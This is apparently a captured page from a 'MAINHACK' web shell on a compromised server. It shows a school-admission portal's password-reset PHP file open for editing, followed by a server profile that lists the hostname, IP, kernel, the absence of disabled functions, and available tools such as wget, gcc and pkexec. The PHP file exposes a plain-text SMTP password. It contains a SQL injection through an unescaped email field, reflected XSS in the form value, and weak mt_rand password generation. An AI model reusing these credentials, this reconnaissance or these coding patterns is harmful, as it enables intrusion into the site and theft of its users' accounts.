[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: auth-recoverpw.php
<?php ini_set('display_errors', 1); error_reporting(E_ALL); use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'PHPMailer/src/PHPMailer.php'; require 'PHPMailer/src/SMTP.php'; require 'PHPMailer/src/Exception.php'; include("functions.php"); $login_message =""; if(request_is_post() && request_is_same_domain()) { if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $login_message = "<p class='alert alert-danger text-center ' role='alert'>Sorry, Token Authentication invalid.</p>"; } else { $email = test_input($_POST['email']); $stmt = mysqli_query($new,"SELECT * FROM schools WHERE school_email = '$email'"); $qry = mysqli_fetch_array($stmt); $email1 = $qry['school_email']; $new_mail = (filter_var($email, FILTER_VALIDATE_EMAIL)); if($email1 != $new_mail) { $login_message = "<p class='alert alert-danger text-center ' role='alert'>The Email does't exit in our system. Kindly Register</p>"; } else { $options = ['cost' => 12,]; $password = mt_rand(500,1000000); $hashed_password = password_hash($password, PASSWORD_BCRYPT, $options); $stmt = $con->prepare("update schools set password = ? where school_email = ? "); $stmt->execute(array($hashed_password,$email1)); $msg = "Hello $email1 <br/> Your new password is <br/> $password."; $mail = new PHPMailer(true); try { // Server settings $mail->isSMTP(); $mail->Host = 'mail.shsadmissionportal.com'; // Replace with your SMTP server $mail->SMTPAuth = true; $mail->Username = 'noreply@shsadmissionportal.com'; // Replace with your email $mail->Password = '&iU_&2eX]*oMsMb0'; // Replace with your email password $mail->SMTPSecure = '465'; // Or 'ssl' $mail->Port = 587; // Or 465 for 'ssl' // Sender and recipient $mail->setFrom('noreply@shsadmissionportal.com', 'Password Reset'); $mail->addAddress($email1); // Content $mail->isHTML(true); $mail->Subject = 'New Password Generated'; $mail->Body = $msg; $mail->AltBody = 'Plain-text message for non-HTML clients'; $mail->send(); $login_message = "<p class='alert alert-success text-center' role='alert'>Kindly check your email for your new password</p>"; } catch (Exception $e) { $login_message = "<p class='alert alert-danger text-center' role='alert'>Message could not be sent. Mailer Error: {$mail->ErrorInfo}</p>"; } // try { // $mail->addAddress($email1); // $mail->setFrom('noreply@shsadmissionportal.com', 'Password Reset'); // $mail->Subject = 'New Password Generated'; // $mail->isHTML(true); // $mail->CharSet = 'UTF-8'; // $mail->Body = $msg; // $mail->send(); // $login_message = "<p class='alert alert-success text-center' role='alert'>Kindly check your email for your new password</p>"; // } catch (Exception $e) { // $login_message = "<p class='alert alert-danger text-center' role='alert'>Message could not be sent. Mailer Error: {$mail->ErrorInfo}</p>"; // } } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Recover Password | Reset password</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="eliosof" name="author" /> <!-- App favicon --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <div class="auth-page"> <div class="container-fluid p-0"> <div class="row g-0"> <div class="col-xxl-3 col-lg-4 col-md-5"> <div class="auth-full-page-content d-flex p-sm-5 p-4"> <div class="w-100"> <div class="d-flex flex-column h-100"> <div class="mb-4 mb-md-5 text-center"> </div> <div class="auth-content my-auto"> <div class="text-center"> <h5 class="mb-0">Reset Password</h5> </div> <?php if($login_message != "") { echo ($login_message) ; } ?> <form class="mt-4" method="POST"> <?php echo csrf_token_tag(); ?> <div class="mb-3"> <label class="form-label">Email</label> <input type="email" required class="form-control" name="email" id="email" placeholder="Enter email" value="<?php if (isset($_POST['email'])) { echo $_POST['email']; } ?>"> </div> <div class="mb-3 mt-4"> <button class="btn btn-primary w-100 waves-effect waves-light" type="submit" name="submit">Reset</button> </div> </form> <div class="mt-5 text-center"> <p class="text-muted mb-0">Remember It ? <a href="index" class="text-primary fw-semibold"> Sign In </a> </p> </div> </div> <div class="mt-4 mt-md-5 text-center"> </div> </div> </div> </div> <!-- end auth full page content --> </div> <!-- end col --> <div class="col-xxl-9 col-lg-8 col-md-7"> <div class="auth-bg pt-md-5 p-4 d-flex"> <div class="bg-overlay bg-primary"></div> <ul class="bg-bubbles"> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> </ul> <!-- end bubble effect --> <div class="row justify-content-center align-items-center"> <div class="col-xl-7"> <div class="p-0 p-sm-4 px-xl-0"> <div id="reviewcarouselIndicators" class="carousel slide" data-bs-ride="carousel"> <div class="carousel-indicators carousel-indicators-rounded justify-content-start ms-0 mb-0"> <button type="button" data-bs-target="#reviewcarouselIndicators" data-bs-slide-to="0" class="active" aria-current="true" aria-label="Slide 1"></button> <button type="button" data-bs-target="#reviewcarouselIndicators" data-bs-slide-to="1" aria-label="Slide 2"></button> <button type="button" data-bs-target="#reviewcarouselIndicators" data-bs-slide-to="2" aria-label="Slide 3"></button> </div> <!-- end carouselIndicators --> <!-- end carousel-inner --> </div> <!-- end review carousel --> </div> </div> </div> </div> </div> <!-- end col --> </div> <!-- end row --> </div> <!-- end container fluid --> </div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002